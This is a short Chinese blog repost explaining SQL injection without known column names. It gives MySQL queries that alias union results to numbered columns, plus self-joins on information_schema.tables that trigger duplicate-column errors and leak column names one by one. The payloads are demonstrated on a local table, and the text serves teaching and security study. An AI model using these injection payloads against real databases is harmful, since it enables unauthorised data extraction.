码迷,mamicode.com
首页 > 数据库 > 详细

sql注入(利用join进行无列名注入)

时间:2019-11-30 15:16:47      阅读:199      评论:0      收藏:0      [点我收藏+]

标签:sql注入   注入   ati   form   img   报错   union   tables   com   

select 1,2,3 union select * from sc;
select `1` from (select 1,2,3 union select * from sc)a;
select `2` from (select 1,2,3 union select * from sc)a;

select * from sc;
技术图片

select 1,2,3 union select * from sc;
技术图片

select `1` from (select 1,2,3 union select * from sc)a;
技术图片

join 报错来爆列名

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b)c;

技术图片

得到第一列列名 table_catalog

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog))c;

技术图片

得到第二列列名 table_schema

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog,table_schema))c;
可得第三列列名 依次枚举

sql注入(利用join进行无列名注入)

标签:sql注入   注入   ati   form   img   报错   union   tables   com   

原文地址:https://www.cnblogs.com/GH-D/p/11962522.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!